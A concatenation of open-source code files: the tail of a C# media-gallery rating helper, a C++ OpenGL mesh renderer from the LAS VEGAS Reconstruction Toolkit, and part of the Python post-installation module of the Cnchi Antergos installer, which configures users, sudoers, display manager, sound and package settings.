// Subtract the user's previous rating from the total rating count while ensuring the # >= 0.
ratingCount = Math.Max(ratingCount - 1, 0);
}
// Increment the rating count and persist.
ratingCount++;
ratingCountItem.Value = ratingCount.ToString(CultureInfo.InvariantCulture);
Factory.SaveGalleryObjectMetadataItem(ratingCountItem, Utils.UserName);
// Calculate the new rating.
float newAvgRating = ((currentAvgRating*(ratingCount-1)) + userRating)/(ratingCount);
return newAvgRating.ToString("F4", CultureInfo.InvariantCulture); // Store rating to 4 decimal places
}
/// <summary>
/// Reverse the influence a user's rating had on the media object's average rating. The new average rating
/// is returned. Returns zero if <paramref name="currentAvgRatingStr" /> or <paramref name="userPrevRatingStr" />
/// can't be converted to a <see cref="System.Single" /> or if <paramref name="ratingCount" /> is less than
/// or equal to one.
/// </summary>
/// <param name="currentAvgRatingStr">The current average rating for the media object as a string (e.g. "2.8374").</param>
/// <param name="ratingCount">The number of times tje media object has been rated.</param>
/// <param name="userPrevRatingStr">The user rating whose effect must be removed from the average rating (e.g. "2.5").</param>
/// <returns><see cref="System.Single" />.</returns>
private static float RemoveUsersPreviousRating(string currentAvgRatingStr, int ratingCount, string userPrevRatingStr)
{
if (ratingCount <= 1)
return 0f;
float currentAvgRating, userRating;
if (!Single.TryParse(userPrevRatingStr, out userRating))
return 0f;
if (!Single.TryParse(currentAvgRatingStr, out currentAvgRating))
return 0f;
return ((currentAvgRating * ratingCount) - userRating) / (ratingCount - 1);
}
/// <summary>
/// Gets the rating count meta item for the <paramref name="galleryObject" />, creating one - and persisting it
/// to the data store - if necessary.
/// </summary>
/// <param name="galleryObject">The gallery object.</param>
/// <returns><see cref="IGalleryObjectMetadataItem" />.</returns>
private static IGalleryObjectMetadataItem GetRatingCountMetaItem(IGalleryObject galleryObject)
{
IGalleryObjectMetadataItem metaItem;
if (galleryObject.MetadataItems.TryGetMetadataItem(MetadataItemName.RatingCount, out metaItem))
{
return metaItem;
}
else
{
return CreateRatingCountMetaItem(galleryObject);
}
}
/// <summary>
/// Create a rating count meta item for the <paramref name="galleryObject" /> and persist it to the data store.
/// </summary>
/// <param name="galleryObject">The gallery object.</param>
/// <returns>An instance of <see cref="IGalleryObjectMetadataItem" />.</returns>
private static IGalleryObjectMetadataItem CreateRatingCountMetaItem(IGalleryObject galleryObject)
{
// Create the rating count item, add it to the gallery object, and save.
var metaDef = Factory.LoadGallerySetting(galleryObject.GalleryId).MetadataDisplaySettings.Find(MetadataItemName.RatingCount);
var metaItems = Factory.CreateMetadataCollection();
var ratingCountItem = Factory.CreateMetadataItem(int.MinValue, galleryObject, null, "0", true, metaDef);
metaItems.Add(ratingCountItem);
galleryObject.AddMeta(metaItems);
Factory.SaveGalleryObjectMetadataItem(ratingCountItem, Utils.UserName);
return ratingCountItem;
}
/// <summary>
/// Persists the user's rating in their user profile.
/// </summary>
/// <param name="mediaObjectId">The media object ID of the item being rated.</param>
/// <param name="userRating">The user rating (e.g. "2.8374").</param>
private static void PersistRatingInUserProfile(int mediaObjectId, string userRating)
{
var profile = ProfileController.GetProfile();
var moProfile = profile.MediaObjectProfiles.Find(mediaObjectId);
if (moProfile == null)
{
profile.MediaObjectProfiles.Add(new MediaObjectProfile(mediaObjectId, userRating));
}
else
{
moProfile.Rating = userRating;
}
ProfileController.SaveProfile(profile);
}
#endregion
}
} | gpl-3.0 |
v4hn/Las-Vegas-Reconstruction | src/liblvr/display/StaticMesh.cpp | 9150 | /* Copyright (C) 2011 Uni Osnabrück
* This file is part of the LAS VEGAS Reconstruction Toolkit,
*
* LAS VEGAS is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* LAS VEGAS is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
*/
/*
* StaticMesh.cpp
*
* Created on: 12.11.2008
* Author: Thomas Wiemann
*/
#include "display/StaticMesh.hpp"
#include <cassert>
namespace lvr
{
StaticMesh::StaticMesh(){
m_normals.reset();
m_faceNormals = 0;
m_vertices.reset();
m_colors.reset();
m_faces.reset();
m_numFaces = 0;
m_numVertices = 0;
m_numMaterials = 0;
m_finalized = false;
m_haveMaterials = false;
m_renderMode = 0;
m_nameList = -1;
}
StaticMesh::StaticMesh( ModelPtr model, string name )
: Renderable( name )
{
m_model = model;
m_nameList = -1;
init( model->m_mesh );
calcBoundingBox();
compileColoredMeshList();
compileWireframeList();
compileNameList();
}
StaticMesh::StaticMesh( MeshBufferPtr mesh, string name )
: Renderable( name )
{
m_model = ModelPtr( new Model( mesh ) );
m_nameList = -1;
init( mesh );
calcBoundingBox();
compileColoredMeshList();
compileWireframeList();
compileNameList();
}
void StaticMesh::init( MeshBufferPtr mesh )
{
size_t n_colors;
size_t n_normals;
m_lineWidth = 2.0;
if(mesh)
{
m_faceNormals = 0;
m_normals = mesh->getVertexNormalArray(n_normals);
m_colors = mesh->getVertexColorArray(n_colors);
m_vertices = mesh->getVertexArray(m_numVertices);
m_faces = mesh->getFaceArray(m_numFaces);
m_blackColors = new unsigned char[ 3 * m_numVertices ];
for ( size_t i = 0; i < 3 * m_numVertices; i++ )
{
m_blackColors[i] = 0;
}
m_finalized = true;
m_visible = true;
m_active = true;
m_renderMode = 0;
m_renderMode |= RenderSurfaces;
m_renderMode |= RenderTriangles;
m_boundingBox = new BoundingBox<Vertex<float> >;
if(!m_faceNormals)
{
interpolateNormals();
} else
{
// cout << "Face normals: " << m_faceNormals << endl;
}
if(!m_colors)
{
setDefaultColors();
}
if(n_colors == 0)
{
m_colors = ucharArr( new unsigned char[3 * m_numVertices] );
for( int i = 0; i < m_numVertices; ++i )
{
m_colors[3 * i] = 0;
m_colors[3 * i + 1] = 255;
m_colors[3 * i + 2] = 0;
}
}
}
}
StaticMesh::StaticMesh(const StaticMesh &o)
{
if( m_faceNormals != 0 )
{
delete[] m_faceNormals;
}
m_faceNormals = new float[3 * o.m_numVertices];
m_vertices = floatArr( new float[3 * o.m_numVertices] );
m_colors = ucharArr( new unsigned char[3 * o.m_numVertices] );
m_faces = uintArr( new unsigned int[3 * o.m_numFaces] );
for ( size_t i(0); i < 3 * o.m_numVertices; i++ )
{
m_faceNormals[i] = o.m_faceNormals[i];
m_vertices[i] = o.m_vertices[i];
m_colors[i] = o.m_colors[i];
}
for( size_t i = 0; i < 3 * o.m_numFaces; ++i )
{
m_faces[i] = o.m_faces[i];
}
m_boundingBox = o.m_boundingBox;
m_model = o.m_model;
}
void StaticMesh::setColorMaterial(float r, float g, float b)
{
float ambient_color[] = {r, g, b};
float diffuse_color[] = {0.45f * r, 0.5f * g, 0.55f * b};
float specular_color[] = {0.1f, 0.15f, 0.1f};
float shine[] = {0.1f};
glMaterialfv(GL_FRONT_AND_BACK, GL_AMBIENT, ambient_color);
glMaterialfv(GL_FRONT_AND_BACK, GL_DIFFUSE, diffuse_color);
glMaterialfv(GL_FRONT_AND_BACK, GL_SPECULAR, specular_color);
glMaterialfv(GL_FRONT_AND_BACK, GL_SHININESS, shine);
}
StaticMesh::~StaticMesh(){
}
void StaticMesh::finalize(){
}
void StaticMesh::compileWireframeList()
{
if(m_finalized){
m_wireframeList = glGenLists(1);
// Start new display list
glNewList(m_wireframeList, GL_COMPILE);
glDisable(GL_LIGHTING);
glDisable(GL_TEXTURE_2D);
glColor3f(0.0, 0.0, 0.0);
for(size_t i = 0; i < m_numFaces; i++)
{
size_t index = 3 * i;
int a = 3 * m_faces[index];
int b = 3 * m_faces[index + 1];
int c = 3 * m_faces[index + 2];
glBegin(GL_TRIANGLES);
glVertex3f(m_vertices[a], m_vertices[a + 1], m_vertices[a + 2]);
glVertex3f(m_vertices[b], m_vertices[b + 1], m_vertices[b + 2]);
glVertex3f(m_vertices[c], m_vertices[c + 1], m_vertices[c + 2]);
glEnd();
}
glEnable(GL_LIGHTING);
glEnable(GL_TEXTURE_2D);
glEndList();
}
}
void StaticMesh::compileColoredMeshList(){
if(m_finalized){
m_coloredMeshList = glGenLists(1);
// Enable vertex / normal / color arrays
glEnableClientState(GL_VERTEX_ARRAY);
glEnableClientState(GL_NORMAL_ARRAY);
glEnableClientState(GL_COLOR_ARRAY);
// Start new display list
glNewList(m_coloredMeshList, GL_COMPILE);
glEnable(GL_LIGHTING);
glEnable(GL_COLOR_MATERIAL);
setColorMaterial(0.1f, 0.1f, 0.1f);
// Assign element pointers
glVertexPointer( 3, GL_FLOAT, 0, m_vertices.get() );
glNormalPointer( GL_FLOAT, 0, m_faceNormals );
glColorPointer( 3, GL_UNSIGNED_BYTE, 0, m_colors.get() );
// Draw elements
glDrawElements(GL_TRIANGLES, (GLsizei)3 * m_numFaces, GL_UNSIGNED_INT, m_faces.get());
// Draw mesh descriptions
glEndList();
}
}
void StaticMesh::setName(string name)
{
m_name = name;
compileNameList();
}
void StaticMesh::compileNameList()
{
// Release old name list
if(m_nameList != -1)
{
glDeleteLists(m_nameList, 1);
}
// Compile a new one
m_nameList = glGenLists(1);
glNewList(m_nameList, GL_COMPILE);
Vertex<float> v = m_boundingBox->getCentroid();
glDisable(GL_LIGHTING);
glColor3f(1.0, 1.0, 0.0);
glRasterPos3f(v.x, v.y, v.z);
for(int i = 0; i < Name().size(); i++)
{
//glutBitmapCharacter(GLUT_BITMAP_HELVETICA_12, Name()[i]);
}
glEnable(GL_LIGHTING);
glEndList();
}
void StaticMesh::interpolateNormals()
{
// Be sure that vertex and indexbuffer exist
assert(m_vertices);
assert(m_faces);
// Alloc new normal array
m_faceNormals = new float[3 * m_numVertices];
memset(m_faceNormals, 0, 3 * m_numVertices * sizeof(float));
// Interpolate surface m_normals for each face
// and interpolate sum up the normal coordinates
// at each vertex position
size_t a, b, c, buffer_pos;
for(size_t i = 0; i < m_numFaces; i++)
{
buffer_pos = i * 3;
// Interpolate a perpendicular vector to the
// current triangle (p)
//
// CAUTION:
// --------
// buffer_pos is the face number
// to get real position of the vertex in the buffer
// we have to remember, that each vertex has three
// coordinates! cout << 1 << endl;
a = m_faces[buffer_pos] * 3;
b = m_faces[buffer_pos + 1] * 3;
c = m_faces[buffer_pos + 2] * 3;
Vertex<float> v0(m_vertices[a], m_vertices[a + 1], m_vertices[a + 2]);
Vertex<float> v1(m_vertices[b], m_vertices[b + 1], m_vertices[b + 2]);
Vertex<float> v2(m_vertices[c], m_vertices[c + 1], m_vertices[c + 2]);
Vertex<float> d1 = v0 - v1;
Vertex<float> d2 = v2 - v1;
Normal<float> p(d1.cross(d2));
p = p * -1;
// Sum up coordinate values in normal array
m_faceNormals[a ] = p.x;
m_faceNormals[a + 1] = p.y;
m_faceNormals[a + 2] = p.z;
m_faceNormals[b ] = p.x;
m_faceNormals[b + 1] = p.y;
m_faceNormals[b + 2] = p.z;
m_faceNormals[c ] = p.x;
m_faceNormals[c + 1] = p.y;
m_faceNormals[c + 2] = p.z;
}
// Normalize
for(size_t i = 0; i < m_numVertices; i++)
{
Normal<float> n(m_faceNormals[i * 3], m_faceNormals[i * 3 + 1], m_faceNormals[i * 3 + 2]);
m_faceNormals[i * 3] = n.x;
m_faceNormals[i * 3 + 1] = n.y;
m_faceNormals[i * 3 + 2] = n.z;
}
}
void StaticMesh::setDefaultColors()
{
m_colors = ucharArr( new unsigned char[3 * m_numVertices] );
for(size_t i = 0; i < m_numVertices; i++)
{
m_colors[i] = 0;
m_colors[i + 1] = 255;
m_colors[i + 2] = 0;
}
}
void StaticMesh::calcBoundingBox()
{
for(size_t i = 0; i < m_numVertices; i++)
{
m_boundingBox->expand(
m_vertices[3 * i],
m_vertices[3 * i + 1],
m_vertices[3 * i + 2] );
}
}
uintArr StaticMesh::getIndices()
{
return m_finalized ? m_faces : uintArr();
}
floatArr StaticMesh::getVertices()
{
return m_finalized ? m_vertices : floatArr();
}
float* StaticMesh::getNormals()
{
return m_finalized ? m_faceNormals : 0;
}
size_t StaticMesh::getNumberOfVertices()
{
return m_numVertices;
}
size_t StaticMesh::getNumberOfFaces()
{
return m_numFaces;
}
void StaticMesh::savePLY(string filename)
{
}
}
// namespace lvr
| gpl-3.0 |
Antergos/Cnchi | src/installation/post_install.py | 36048 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# post_install.py
#
# Copyright © 2013-2018 Antergos
#
# This file is part of Cnchi.
#
# Cnchi is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Cnchi is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Cnchi; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.
""" Post-Installation process module. """
import crypt
import logging
import os
import shutil
import time
import desktop_info
from installation import mkinitcpio
from installation import systemd_networkd
from installation.boot import loader
from installation.post_fstab import PostFstab
from installation.post_features import PostFeatures
from installation import services as srv
from misc.events import Events
import misc.gocryptfs as gocryptfs
from misc.run_cmd import call, chroot_call
import parted3.fs_module as fs
from lembrame.lembrame import Lembrame
# When testing, no _() is available
try:
_("")
except NameError as err:
def _(message):
return message
DEST_DIR = "/install"
class PostInstallation():
""" Post-Installation process thread class """
POSTINSTALL_SCRIPT = 'postinstall.sh'
LOG_FOLDER = '/var/log/cnchi'
def __init__(
self, settings, callback_queue, mount_devices, fs_devices, ssd=None, blvm=False):
""" Initialize installation class """
self.settings = settings
self.events = Events(callback_queue)
self.pacman_conf_updated = False
self.method = self.settings.get('partition_mode')
self.desktop = self.settings.get('desktop').lower()
# This flag tells us if there is a lvm partition (from advanced install)
# If it's true we'll have to add the 'lvm2' hook to mkinitcpio
self.blvm = blvm
if ssd is not None:
self.ssd = ssd
else:
self.ssd = {}
self.mount_devices = mount_devices
self.fs_devices = fs_devices
self.virtual_box = self.settings.get('is_vbox')
def copy_logs(self):
""" Copy Cnchi logs to new installation """
log_dest_dir = os.path.join(DEST_DIR, "var/log/cnchi")
os.makedirs(log_dest_dir, mode=0o755, exist_ok=True)
datetime = "{0}-{1}".format(time.strftime("%Y%m%d"),
time.strftime("%H%M%S"))
file_names = [
'cnchi', 'cnchi-alpm', 'postinstall', 'pacman']
for name in file_names:
src = os.path.join(PostInstallation.LOG_FOLDER, "{0}.log".format(name))
dst = os.path.join(
log_dest_dir, "{0}-{1}.log".format(name, datetime))
try:
shutil.copy(src, dst)
except FileNotFoundError as err:
logging.warning("Can't copy %s log to %s: %s", src, dst, str(err))
except FileExistsError:
pass
# Store install id for later use by antergos-pkgstats
with open(os.path.join(log_dest_dir, 'install_id'), 'w') as install_record:
install_id = self.settings.get('install_id')
if not install_id:
install_id = '0'
install_record.write(install_id)
@staticmethod
def copy_network_config():
""" Copies Network Manager configuration """
source_nm = "/etc/NetworkManager/system-connections/"
target_nm = os.path.join(
DEST_DIR, "etc/NetworkManager/system-connections")
# Sanity checks. We don't want to do anything if a network
# configuration already exists on the target
if os.path.exists(source_nm) and os.path.exists(target_nm):
for network in os.listdir(source_nm):
# Skip LTSP live
if network == "LTSP":
continue
source_network = os.path.join(source_nm, network)
target_network = os.path.join(target_nm, network)
if os.path.exists(target_network):
continue
try:
shutil.copy(source_network, target_network)
except FileNotFoundError:
logging.warning(
"Can't copy network configuration files, file %s not found", source_network)
except FileExistsError:
pass
def set_scheduler(self):
""" Copies udev rule for SSDs """
rule_src = os.path.join(
self.settings.get('cnchi'),
'scripts/60-schedulers.rules')
rule_dst = os.path.join(
DEST_DIR,
"etc/udev/rules.d/60-schedulers.rules")
try:
shutil.copy2(rule_src, rule_dst)
os.chmod(rule_dst, 0o755)
except FileNotFoundError:
logging.warning(
"Cannot copy udev rule for SSDs, file %s not found.",
rule_src)
except FileExistsError:
pass
@staticmethod
def change_user_password(user, new_password):
""" Changes the user's password """
shadow_password = crypt.crypt(new_password, crypt.mksalt())
chroot_call(['usermod', '-p', shadow_password, user])
@staticmethod
def auto_timesetting():
""" Set hardware clock """
cmd = ["hwclock", "--systohc", "--utc"]
call(cmd)
try:
shutil.copy2("/etc/adjtime", os.path.join(DEST_DIR, "etc/"))
except FileNotFoundError:
logging.warning("File /etc/adjtime not found!")
except FileExistsError:
pass
@staticmethod
def update_pacman_conf():
""" Add Antergos and multilib repos """
path = os.path.join(DEST_DIR, "etc/pacman.conf")
if os.path.exists(path):
with open(path) as pacman_file:
paclines = pacman_file.readlines()
mode = os.uname()[-1]
multilib_open = False
with open(path, 'w') as pacman_file:
for pacline in paclines:
if mode == "x86_64" and pacline == '#[multilib]\n':
multilib_open = True
pacline = '[multilib]\n'
elif mode == 'x86_64' and multilib_open and pacline.startswith('#Include ='):
pacline = pacline[1:]
multilib_open = False
elif pacline == '#[testing]\n':
antlines = '\n#[antergos-staging]\n'
antlines += '#SigLevel = PackageRequired\n'
antlines += '#Server = http://mirrors.antergos.com/$repo/$arch/\n\n'
antlines += '[antergos]\n'
antlines += 'SigLevel = PackageRequired\n'
antlines += 'Include = /etc/pacman.d/antergos-mirrorlist\n\n'
pacman_file.write(antlines)
pacman_file.write(pacline)
else:
logging.warning("Can't find pacman configuration file")
@staticmethod
def uncomment_locale_gen(locale):
""" Uncomment selected locale in /etc/locale.gen """
path = os.path.join(DEST_DIR, "etc/locale.gen")
if os.path.exists(path):
with open(path) as gen:
text = gen.readlines()
with open(path, "w") as gen:
for line in text:
if locale in line and line[0] == "#":
# remove trailing '#'
line = line[1:]
gen.write(line)
else:
logging.error("Can't find locale.gen file")
def setup_display_manager(self):
""" Configures LightDM desktop manager, including autologin. """
txt = _("Configuring LightDM desktop manager...")
self.events.add('info', txt)
if self.desktop in desktop_info.SESSIONS:
session = desktop_info.SESSIONS[self.desktop]
else:
session = "default"
username = self.settings.get('user_name')
autologin = not self.settings.get('require_password')
lightdm_greeter = "lightdm-webkit2-greeter"
lightdm_conf_path = os.path.join(DEST_DIR, "etc/lightdm/lightdm.conf")
try:
# Setup LightDM as Desktop Manager
with open(lightdm_conf_path) as lightdm_conf:
text = lightdm_conf.readlines()
with open(lightdm_conf_path, "w") as lightdm_conf:
for line in text:
if autologin:
# Enable automatic login
if '#autologin-user=' in line:
line = 'autologin-user={0}\n'.format(username)
if '#autologin-user-timeout=0' in line:
line = 'autologin-user-timeout=0\n'
# Set correct DE session
if '#user-session=default' in line:
line = 'user-session={0}\n'.format(session)
# Set correct greeter
if '#greeter-session=example-gtk-gnome' in line:
line = 'greeter-session={0}\n'.format(lightdm_greeter)
if 'session-wrapper' in line:
line = 'session-wrapper=/etc/lightdm/Xsession\n'
lightdm_conf.write(line)
txt = _("LightDM display manager configuration completed.")
logging.debug(txt)
except FileNotFoundError:
txt = _("Error while trying to configure the LightDM display manager")
logging.warning(txt)
@staticmethod
def alsa_mixer_setup():
""" Sets ALSA mixer settings """
alsa_commands = [
"Master 70% unmute", "Front 70% unmute", "Side 70% unmute", "Surround 70% unmute",
"Center 70% unmute", "LFE 70% unmute", "Headphone 70% unmute", "Speaker 70% unmute",
"PCM 70% unmute", "Line 70% unmute", "External 70% unmute", "FM 50% unmute",
"Master Mono 70% unmute", "Master Digital 70% unmute", "Analog Mix 70% unmute",
"Aux 70% unmute", "Aux2 70% unmute", "PCM Center 70% unmute", "PCM Front 70% unmute",
"PCM LFE 70% unmute", "PCM Side 70% unmute", "PCM Surround 70% unmute",
"Playback 70% unmute", "PCM,1 70% unmute", "DAC 70% unmute", "DAC,0 70% unmute",
"DAC,1 70% unmute", "Synth 70% unmute", "CD 70% unmute", "Wave 70% unmute",
"Music 70% unmute", "AC97 70% unmute", "Analog Front 70% unmute",
"VIA DXS,0 70% unmute", "VIA DXS,1 70% unmute", "VIA DXS,2 70% unmute",
"VIA DXS,3 70% unmute", "Mic 70% mute", "IEC958 70% mute",
"Master Playback Switch on", "Master Surround on",
"SB Live Analog/Digital Output Jack off", "Audigy Analog/Digital Output Jack off"]
for alsa_command in alsa_commands:
cmd = ["amixer", "-q", "-c", "0", "sset"]
cmd.extend(alsa_command.split())
chroot_call(cmd)
# Save settings
logging.debug("Saving ALSA settings...")
chroot_call(['alsactl', 'store'])
logging.debug("ALSA settings saved.")
@staticmethod
def set_fluidsynth():
""" Sets fluidsynth configuration file """
fluid_path = os.path.join(DEST_DIR, "etc/conf.d/fluidsynth")
if os.path.exists(fluid_path):
audio_system = "alsa"
pulseaudio_path = os.path.join(DEST_DIR, "usr/bin/pulseaudio")
if os.path.exists(pulseaudio_path):
audio_system = "pulse"
with open(fluid_path, "w") as fluid_conf:
fluid_conf.write('# Created by Cnchi, Antergos installer\n')
txt = 'SYNTHOPTS="-is -a {0} -m alsa_seq -r 48000"\n\n'
txt = txt.format(audio_system)
fluid_conf.write(txt)
@staticmethod
def patch_user_dirs_update_gtk():
""" Patches user-dirs-update-gtk.desktop so it is run in
XFCE, MATE and Cinnamon """
path = os.path.join(DEST_DIR, "etc/xdg/autostart/user-dirs-update-gtk.desktop")
if os.path.exists(path):
with open(path, 'r') as user_dirs:
lines = user_dirs.readlines()
with open(path, 'w') as user_dirs:
for line in lines:
if "OnlyShowIn=" in line:
line = "OnlyShowIn=GNOME;LXDE;Unity;XFCE;MATE;Cinnamon\n"
user_dirs.write(line)
def set_keymap(self):
""" Set X11 and console keymap """
keyboard_layout = self.settings.get("keyboard_layout")
keyboard_variant = self.settings.get("keyboard_variant")
# localectl set-x11-keymap es cat
cmd = ['localectl', 'set-x11-keymap', keyboard_layout]
if keyboard_variant:
cmd.append(keyboard_variant)
# Systemd based tools like localectl do not work inside a chroot
# This will set correct keymap to live media, we will copy
# the created files to destination
call(cmd)
# Copy 00-keyboard.conf and vconsole.conf files to destination
path = os.path.join(DEST_DIR, "etc/X11/xorg.conf.d")
os.makedirs(path, mode=0o755, exist_ok=True)
files = ["/etc/X11/xorg.conf.d/00-keyboard.conf", "/etc/vconsole.conf"]
for src in files:
try:
if os.path.exists(src):
dst = os.path.join(DEST_DIR, src[1:])
shutil.copy(src, dst)
logging.debug("%s copied.", src)
except FileNotFoundError:
logging.error("File %s not found in live media", src)
except FileExistsError:
pass
except shutil.Error as err:
logging.error(err)
@staticmethod
def get_installed_zfs_version():
""" Get installed zfs version """
zfs_version = "0.6.5.4"
path = os.path.join(DEST_DIR, "usr/src")
for file_name in os.listdir(path):
if file_name.startswith("zfs") and not file_name.startswith("zfs-utils"):
try:
zfs_version = file_name.split("-")[1]
logging.info(
"Installed zfs module's version: %s", zfs_version)
except KeyError:
logging.warning("Can't get zfs version from %s", file_name)
return zfs_version
@staticmethod
def get_installed_kernel_versions():
""" Get installed kernel versions """
kernel_versions = []
path = os.path.join(DEST_DIR, "usr/lib/modules")
for file_name in os.listdir(path):
if not file_name.startswith("extramodules"):
kernel_versions.append(file_name)
return kernel_versions
def set_desktop_settings(self):
""" Runs postinstall.sh that sets DE settings
Postinstall script uses arch-chroot, so we don't have to worry
about /proc, /dev, ... """
logging.debug("Running Cnchi post-install script")
keyboard_layout = self.settings.get("keyboard_layout")
keyboard_variant = self.settings.get("keyboard_variant")
# Call post-install script to fine tune our setup
script_path_postinstall = os.path.join(
self.settings.get('cnchi'),
"scripts",
PostInstallation.POSTINSTALL_SCRIPT)
cmd = [
"/usr/bin/bash",
script_path_postinstall,
self.settings.get('user_name'),
DEST_DIR,
self.desktop,
self.settings.get("locale"),
str(self.virtual_box),
keyboard_layout]
# Keyboard variant is optional
if keyboard_variant:
cmd.append(keyboard_variant)
call(cmd, timeout=300)
logging.debug("Post install script completed successfully.")
@staticmethod
def modify_makepkg():
""" Modify the makeflags to allow for threading.
Use threads for xz compression. """
makepkg_conf_path = os.path.join(DEST_DIR, 'etc/makepkg.conf')
if os.path.exists(makepkg_conf_path):
with open(makepkg_conf_path, 'r') as makepkg_conf:
contents = makepkg_conf.readlines()
with open(makepkg_conf_path, 'w') as makepkg_conf:
for line in contents:
if 'MAKEFLAGS' in line:
line = 'MAKEFLAGS="-j$(nproc)"\n'
elif 'COMPRESSXZ' in line:
line = 'COMPRESSXZ=(xz -c -z - --threads=0)\n'
makepkg_conf.write(line)
@staticmethod
def add_sudoer(username):
""" Adds user to sudoers """
sudoers_dir = os.path.join(DEST_DIR, "etc/sudoers.d")
if not os.path.exists(sudoers_dir):
os.mkdir(sudoers_dir, 0o710)
sudoers_path = os.path.join(sudoers_dir, "10-installer")
try:
with open(sudoers_path, "w") as sudoers:
sudoers.write('{0} ALL=(ALL) ALL\n'.format(username))
os.chmod(sudoers_path, 0o440)
logging.debug("Sudo configuration for user %s done.", username)
except IOError as io_error:
# Do not fail if can't write 10-installer file.
# Something bad must be happening, though.
logging.error(io_error)
def setup_user(self):
""" Set user parameters """
username = self.settings.get('user_name')
fullname = self.settings.get('user_fullname')
password = self.settings.get('user_password')
hostname = self.settings.get('hostname')
# Adds user to the sudoers list
self.add_sudoer(username)
# Setup user
default_groups = 'wheel'
if self.virtual_box:
# Why there is no vboxusers group? Add it ourselves.
chroot_call(['groupadd', 'vboxusers'])
default_groups += ',vboxusers,vboxsf'
srv.enable_services(['vboxservice'])
if not self.settings.get('require_password'):
# Prepare system for autologin.
# LightDM needs the user to be in the autologin group.
chroot_call(['groupadd', 'autologin'])
default_groups += ',autologin'
if self.settings.get('feature_cups'):
# Add user to group sys so wifi printers work
default_groups += ',sys'
cmd = [
'useradd', '--create-home',
'--shell', '/bin/bash',
'--groups', default_groups,
username]
chroot_call(cmd)
logging.debug("User %s added.", username)
self.change_user_password(username, password)
chroot_call(['chfn', '-f', fullname, username])
home_dir = os.path.join("/home", username)
cmd = ['chown', '-R', '{0}:{0}'.format(username), home_dir]
chroot_call(cmd)
# Set hostname
hostname_path = os.path.join(DEST_DIR, "etc/hostname")
if not os.path.exists(hostname_path):
with open(hostname_path, "w") as hostname_file:
hostname_file.write(hostname)
logging.debug("Hostname set to %s", hostname)
# User password is the root password
self.change_user_password('root', password)
logging.debug("Set the same password to root.")
# set user's avatar if accountsservice is installed
avatars_path = os.path.join(DEST_DIR, 'var/lib/AccountsService/icons')
if os.path.exists(avatars_path):
avatar = self.settings.get('user_avatar')
if avatar and os.path.exists(avatar):
try:
dst = os.path.join(avatars_path, username + '.png')
shutil.copy(avatar, dst)
except FileNotFoundError:
logging.warning("Can't copy %s avatar image to %s", avatar, dst)
except FileExistsError:
pass
# Encrypt user's home directory if requested
if self.settings.get('encrypt_home'):
self.events.add('info', _("Encrypting user home dir..."))
gocryptfs.setup(username, "users", DEST_DIR, password)
logging.debug("User home dir encrypted")
@staticmethod
def nano_setup():
""" Enable colors and syntax highlighting in nano editor """
nanorc_path = os.path.join(DEST_DIR, 'etc/nanorc')
if os.path.exists(nanorc_path):
logging.debug(
"Enabling colors and syntax highlighting in nano editor")
with open(nanorc_path, 'a') as nanorc:
nanorc.write('\n')
nanorc.write('# Added by Cnchi (Antergos Installer)\n')
nanorc.write('set titlecolor brightwhite,blue\n')
nanorc.write('set statuscolor brightwhite,green\n')
nanorc.write('set numbercolor cyan\n')
nanorc.write('set keycolor cyan\n')
nanorc.write('set functioncolor green\n')
nanorc.write('include "/usr/share/nano/*.nanorc"\n')
def rebuild_zfs_modules(self):
""" Sometimes dkms tries to build the zfs module before the spl one """
self.events.add('info', _("Building zfs modules..."))
zfs_version = self.get_installed_zfs_version()
spl_module = 'spl/{}'.format(zfs_version)
zfs_module = 'zfs/{}'.format(zfs_version)
kernel_versions = self.get_installed_kernel_versions()
if kernel_versions:
for kernel_version in kernel_versions:
logging.debug(
"Installing zfs v%s modules for kernel %s", zfs_version, kernel_version)
cmd = ['dkms', 'install', spl_module, '-k', kernel_version]
chroot_call(cmd)
cmd = ['dkms', 'install', zfs_module, '-k', kernel_version]
chroot_call(cmd)
else:
# No kernel version found, try to install for current kernel
logging.debug(
"Installing zfs v%s modules for current kernel.", zfs_version)
chroot_call(['dkms', 'install', spl_module])
chroot_call(['dkms', 'install', zfs_module])
def pamac_setup(self):
""" Enable AUR in pamac if AUR feature selected """
pamac_conf = os.path.join(DEST_DIR, 'etc/pamac.conf')
if os.path.exists(pamac_conf) and self.settings.get('feature_aur'):
logging.debug("Enabling AUR options in pamac")
with open(pamac_conf, 'r') as pamac_conf_file:
file_data = pamac_conf_file.read()
file_data = file_data.replace("#EnableAUR", "EnableAUR")
file_data = file_data.replace(
"#SearchInAURByDefault", "SearchInAURByDefault")
file_data = file_data.replace(
"#CheckAURUpdates", "CheckAURUpdates")
with open(pamac_conf, 'w') as pamac_conf_file:
pamac_conf_file.write(file_data)
@staticmethod
def setup_timesyncd():
""" Setups and enables time sync service """
timesyncd_path = os.path.join(DEST_DIR, "etc/systemd/timesyncd.conf")
try:
with open(timesyncd_path, 'w') as timesyncd:
timesyncd.write("[Time]\n")
timesyncd.write("NTP=0.arch.pool.ntp.org 1.arch.pool.ntp.org "
"2.arch.pool.ntp.org 3.arch.pool.ntp.org\n")
timesyncd.write("FallbackNTP=0.pool.ntp.org 1.pool.ntp.org "
"0.fr.pool.ntp.org\n")
except FileNotFoundError as err:
logging.warning("Can't find %s file: %s", timesyncd_path, err)
chroot_call(['systemctl', '-fq', 'enable',
'systemd-timesyncd.service'])
def check_btrfs(self):
""" Checks if any device will be using btrfs """
for mount_point in self.mount_devices:
partition_path = self.mount_devices[mount_point]
uuid = fs.get_uuid(partition_path)
if uuid and partition_path in self.fs_devices:
myfmt = self.fs_devices[partition_path]
if myfmt == 'btrfs':
return True
return False
